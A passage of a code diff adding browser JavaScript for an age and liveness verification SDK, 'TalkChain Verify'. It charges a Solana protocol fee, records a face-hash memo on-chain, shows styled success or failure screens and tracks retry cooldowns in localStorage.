+                if (embedding.length > 0) {
+                    facehash = await computeFaceHash(options.walletPubkeyBase58, salt, embedding);
+                }
+                const transaction = new Transaction();
+                // 1. Protocol Fee Transfer
+                transaction.add(SystemProgram.transfer({
+                    fromPubkey,
+                    toPubkey: treasury,
+                    lamports: PROTOCOL_FEE_SOL * LAMPORTS_PER_SOL,
+                }));
+                // 2. Add Verification Memo (only includes facehash after user initiates signing)
+                const statusStr = isOver18 ? 'OVER18' : (isFinalStrike ? 'FINAL_FAILURE' : 'UNDER18');
+                const memoText = `TalkChain-Live-Verify | Solana-Age-Registry-V1-beta | ${statusStr} | HASH: ${facehash} | ${verifiedAt}`;
+                transaction.add(new TransactionInstruction({
+                    keys: [{ pubkey: fromPubkey, isSigner: true, isWritable: false }],
+                    programId: getMemoProgramId(),
+                    data: new TextEncoder().encode(memoText),
+                }));
+                const { blockhash } = await options.connection.getLatestBlockhash();
+                transaction.recentBlockhash = blockhash;
+                transaction.feePayer = fromPubkey;
+                const signedTx = await options.wallet.signTransaction(transaction);
+                protocolFeeTxId = await options.connection.sendRawTransaction(signedTx.serialize());
+                await options.connection.confirmTransaction(protocolFeeTxId);
+                protocolFeePaid = true;
+                console.log('✓ On-chain proof recorded with wallet signature');
+            }
+            catch (e) {
+                console.error('Protocol fee payment failed or rejected:', e);
+                // User rejected or tx failed - clear the facehash since it wasn't recorded
+                facehash = '';
+                // For Community Version, we fail the verification if payment is rejected
+                isOver18 = false;
+                failureReason = `Protocol fee payment failed: ${e.message || 'Verification rejected or network error'}`;
+            }
+        }
+        else if (isOver18 && (!options.wallet || !options.connection)) {
+            // If no wallet is provided, verification passes but no on-chain record
+            console.log('Verification passed but no wallet provided - no on-chain record created');
+        }
+        // Returns actual result from models!
+        // Note: facehash is only populated if wallet signed and tx succeeded
+        const result = {
+            over18: isOver18,
+            facehash: facehash, // Empty string if not signed/recorded
+            description: isOver18 ? 'User is confidently over age 18' : (failureReason || 'Verification Failed'),
+            verifiedAt,
+            protocolFeePaid,
+            protocolFeeTxId,
+            evidence: {
+                ageEstimate,
+                ageConfidence,
+                livenessScore,
+                textureScore: avgTextureScore,
+                textureFeatures: lastTextureFeatures,
+                ageMethod: ageMethod,
+                challenges: challengeResults,
+                modelVersions: { face: 'blazeface-v1' },
+                saltHex: protocolFeePaid ? toHex(salt) : '', // Only reveal salt if signed
+                sessionNonceHex: protocolFeePaid ? toHex(sessionNonce) : '' // Only reveal nonce if signed
+            }
+        };
+        // SUCCESS UI & SOUNDS
+        if (isOver18) {
+            // Reset everything on success
+            localStorage.removeItem(storageKey);
+            localStorage.removeItem(cooldownKey);
+            localStorage.removeItem(cooldownCountKey);
+            // 1. Play Success Sequence (440 -> 880 -> 1760)
+            const ctx = new (window.AudioContext || window.webkitAudioContext)();
+            const now = ctx.currentTime;
+            const playTone = (freq, start, dur) => {
+                const osc = ctx.createOscillator();
+                const gain = ctx.createGain();
+                osc.frequency.value = freq;
+                gain.gain.value = 0.1;
+                osc.connect(gain);
+                gain.connect(ctx.destination);
+                osc.start(start);
+                osc.stop(start + dur);
+            };
+            playTone(440, now, 0.1);
+            playTone(880, now + 0.1, 0.1);
+            playTone(1760, now + 0.2, 0.2);
+            setTimeout(() => ctx.close(), 1000);
+            // 2. Show Results UI
+            if (options.uiMountEl) {
+                options.uiMountEl.innerHTML = `
+                <div style="position: relative; height: 100%; width: 100%; pointer-events: none; display: flex; flex-direction: column; align-items: center; justify-content: center; background: rgba(15, 23, 42, 0.85); animation: fadeIn 0.5s ease-out; font-family: -apple-system, system-ui, sans-serif;">
+                    <div style="position: relative; max-width: 600px; width: 90%; padding: 40px; text-align: center; color: white;">
+                        
+                        <!-- Success Icon with Glow -->
+                        <div style="position: relative; width: 100px; height: 100px; margin: 0 auto 32px; display: flex; align-items: center; justify-content: center;">
+                            <div style="position: absolute; inset: 0; background: #22c55e; filter: blur(40px); opacity: 0.3;"></div>
+                            <div style="font-size: 64px; position: relative; z-index: 10; text-shadow: 0 4px 12px rgba(0,0,0,0.3);">✅</div>
+                        </div>
+                        
+                        <div style="font-size: 36px; font-weight: 800; margin-bottom: 8px; letter-spacing: -0.02em; background: linear-gradient(to bottom, #ffffff, #cbd5e1); -webkit-background-clip: text; -webkit-text-fill-color: transparent;">Verification Complete</div>
+                        <div style="font-size: 18px; color: #4ade80; margin-bottom: 40px; font-weight: 500;">Identity & Liveness Confirmed</div>
+
+                        <div style="background: rgba(255,255,255,0.03); backdrop-filter: blur(16px); border: 1px solid rgba(255,255,255,0.1); border-radius: 20px; padding: 24px; display: grid; grid-template-columns: 1fr 1fr; gap: 20px; text-align: left; box-shadow: 0 20px 40px -10px rgba(0,0,0,0.5);">
+                            <div>
+                                <div style="font-size: 11px; color: #94a3b8; text-transform: uppercase; letter-spacing: 1.5px; margin-bottom: 4px; font-weight: 600;">Est. Age</div>
+                                <div style="font-size: 28px; font-weight: 700; font-variant-numeric: tabular-nums; color: #f8fafc;">${Math.round(ageEstimate)}</div>
+                            </div>
+                            <div>
+                                <div style="font-size: 11px; color: #94a3b8; text-transform: uppercase; letter-spacing: 1.5px; margin-bottom: 4px; font-weight: 600;">Confidence</div>
+                                <div style="font-size: 28px; font-weight: 700; font-variant-numeric: tabular-nums; color: #f8fafc;">${(ageConfidence * 100).toFixed(1)}%</div>
+                            </div>
+                            <div style="grid-column: span 2; padding-top: 12px; border-top: 1px solid rgba(255,255,255,0.05);">
+                                <div style="font-size: 11px; color: #94a3b8; text-transform: uppercase; letter-spacing: 1.5px; margin-bottom: 8px; font-weight: 600;">Secure Face Hash</div>
+                                <div style="font-size: 14px; font-family: 'SF Mono', Monaco, Consolas, monospace; word-break: break-all; color: #64748b; background: rgba(0,0,0,0.2); padding: 8px 12px; border-radius: 8px;">${facehash.substring(0, 24)}...</div>
+                            </div>
+                            ${protocolFeePaid ? `
+                            <div style="grid-column: span 2; padding-top: 12px; border-top: 1px solid rgba(255,255,255,0.05); display: flex; align-items: center; justify-content: space-between;">
+                                <div>
+                                    <div style="font-size: 11px; color: #94a3b8; text-transform: uppercase; letter-spacing: 1.5px; margin-bottom: 4px; font-weight: 600;">Protocol Fee</div>
+                                    <div style="font-size: 14px; color: #4ade80; font-weight: 600;">${PROTOCOL_FEE_SOL} SOL Paid</div>
+                                </div>
+                                <div style="font-size: 11px; color: #60a5fa; font-weight: 600; background: rgba(59, 130, 246, 0.1); padding: 4px 10px; border-radius: 12px; border: 1px solid rgba(59, 130, 246, 0.2);">Verified On-Chain</div>
+                            </div>` : ''}
+                        </div>
+
+                        <div style="margin-top: 40px; font-size: 15px; color: #94a3b8; display: flex; align-items: center; justify-content: center; gap: 12px; font-weight: 500;">
+                            <span style="display: flex; width: 12px; height: 12px; position: relative;">
+                                <span style="position: absolute; inset: 0; background: #22c55e; border-radius: 50%; opacity: 0.75; animation: ping 1.5s cubic-bezier(0, 0, 0.2, 1) infinite;"></span>
+                                <span style="position: relative; display: inline-block; width: 12px; height: 12px; background: #22c55e; border-radius: 50%;"></span>
+                            </span>
+                            Verification Finalized
+                        </div>
+
+                        <!-- Powered By Branding -->
+                        <div style="margin-top: 48px; font-size: 12px; color: #475569; letter-spacing: 0.05em; font-weight: 600; text-transform: uppercase;">
+                            Powered by <span style="color: #60a5fa;">TalkChain</span> Verify
+                        </div>
+                    </div>
+                </div>
+                <style>
+                    @keyframes fadeIn { from { opacity: 0; transform: scale(0.98); } to { opacity: 1; transform: scale(1); } }
+                    @keyframes ping { 75%, 100% { transform: scale(2); opacity: 0; } }
+                </style>
+                 `;
+            }
+            // 3. Wait for User to see it (and "simulate" recording time)
+            await new Promise(r => setTimeout(r, 4000));
+        }
+        else {
+            // FAILED ATTEMPT LOGIC
+            const updatedRetries = currentRetries + 1;
+            if (updatedRetries >= config.maxRetries) {
+                const updatedCooldownCount = currentCooldownCount + 1;
+                localStorage.setItem(cooldownCountKey, updatedCooldownCount.toString());
+                localStorage.setItem(storageKey, '0'); // Reset retries for next round (post-cooldown)
+                const cooldownEnd = Date.now() + (config.cooldownMinutes * 60 * 1000);
+                localStorage.setItem(cooldownKey, cooldownEnd.toString());
+                console.warn(`Max retries reached. Cooldown round ${updatedCooldownCount} set for ${config.cooldownMinutes} minutes.`);
+            }
+            else {
+                localStorage.setItem(storageKey, updatedRetries.toString());
+            }
+            // Detailed Log for Developer
+            console.log('--- VERIFICATION FAILED ---');
+            console.log('Reason: Liveness or Age below threshold');
+            console.log(`Detected Age: ${ageEstimate.toFixed(1)} (Threshold: ${config.minAgeEstimate})`);
+            console.log(`Age Confidence: ${(ageConfidence * 100).toFixed(1)}%`);
+            console.log(`Liveness Score: ${(livenessScore * 100).toFixed(1)}%`);
+            console.log(`Attempt: ${updatedRetries} / ${config.maxRetries} (Session: ${currentCooldownCount + 1} / 3)`);
+            // Failed UI
+            if (options.uiMountEl) {
+                options.uiMountEl.innerHTML = `
+                <div style="position: relative; height: 100%; width: 100%; pointer-events: none; display: flex; flex-direction: column; align-items: center; justify-content: center; background: rgba(127, 29, 29, 0.85); font-family: -apple-system, system-ui, sans-serif;">
+                    <div style="max-width: 500px; padding: 48px; text-align: center; background: rgba(0,0,0,0.2); backdrop-filter: blur(12px); border-radius: 24px; border: 1px solid rgba(255,255,255,0.1); box-shadow: 0 25px 50px -12px rgba(0,0,0,0.5);">
+                        <div style="font-size: 64px; margin-bottom: 24px; text-shadow: 0 4px 12px rgba(0,0,0,0.3);">❌</div>
+                        <div style="font-size: 28px; font-weight: 700; color: white; margin-bottom: 12px; letter-spacing: -0.01em;">Verification Failed</div>
+                        <div style="font-size: 16px; color: #fca5a5; line-height: 1.6;">
+                            We could not verify your age or liveness.<br>
+                            Please try again in a well-lit environment.
+                            <br><br>
+                            <span style="color: #fff; font-size: 14px;">
+                                Round ${currentCooldownCount + 1} of 3 | Attempt ${updatedRetries} of ${config.maxRetries}
+                            </span>
+                        </div>
+                        <!-- Powered By Branding -->
+                        <div style="margin-top: 32px; font-size: 11px; color: #991b1b; letter-spacing: 0.05em; font-weight: 700; text-transform: uppercase; opacity: 0.8;">
+                            Powered by TalkChain Verify
+                        </div>
+                    </div>
+                </div>`;
+            }
+            await new Promise(r => setTimeout(r, 3000));
+        }
+        return result;
+    }
+    finally {
+        await camera.stop();
+        worker.terminate();
+        if (options.uiMountEl)
+            options.uiMountEl.innerText = '';
+    }
+}
+export function createVerificationUI() {
+    const div = document.createElement('div');
+    div.className = 'x402-verify-ui';
+    div.style.position = 'absolute';
+    div.style.top = '0';
+    div.style.left = '0';
+    div.style.width = '100%';
+    div.style.height = '100%';
+    div.style.pointerEvents = 'none';
+    div.style.zIndex = '100';
+    return div;
+}
+export function setExecutionBackend(backend) {
+    console.log(`Setting backend to ${backend}`);
+    // Implementation would switch adapter references here
+}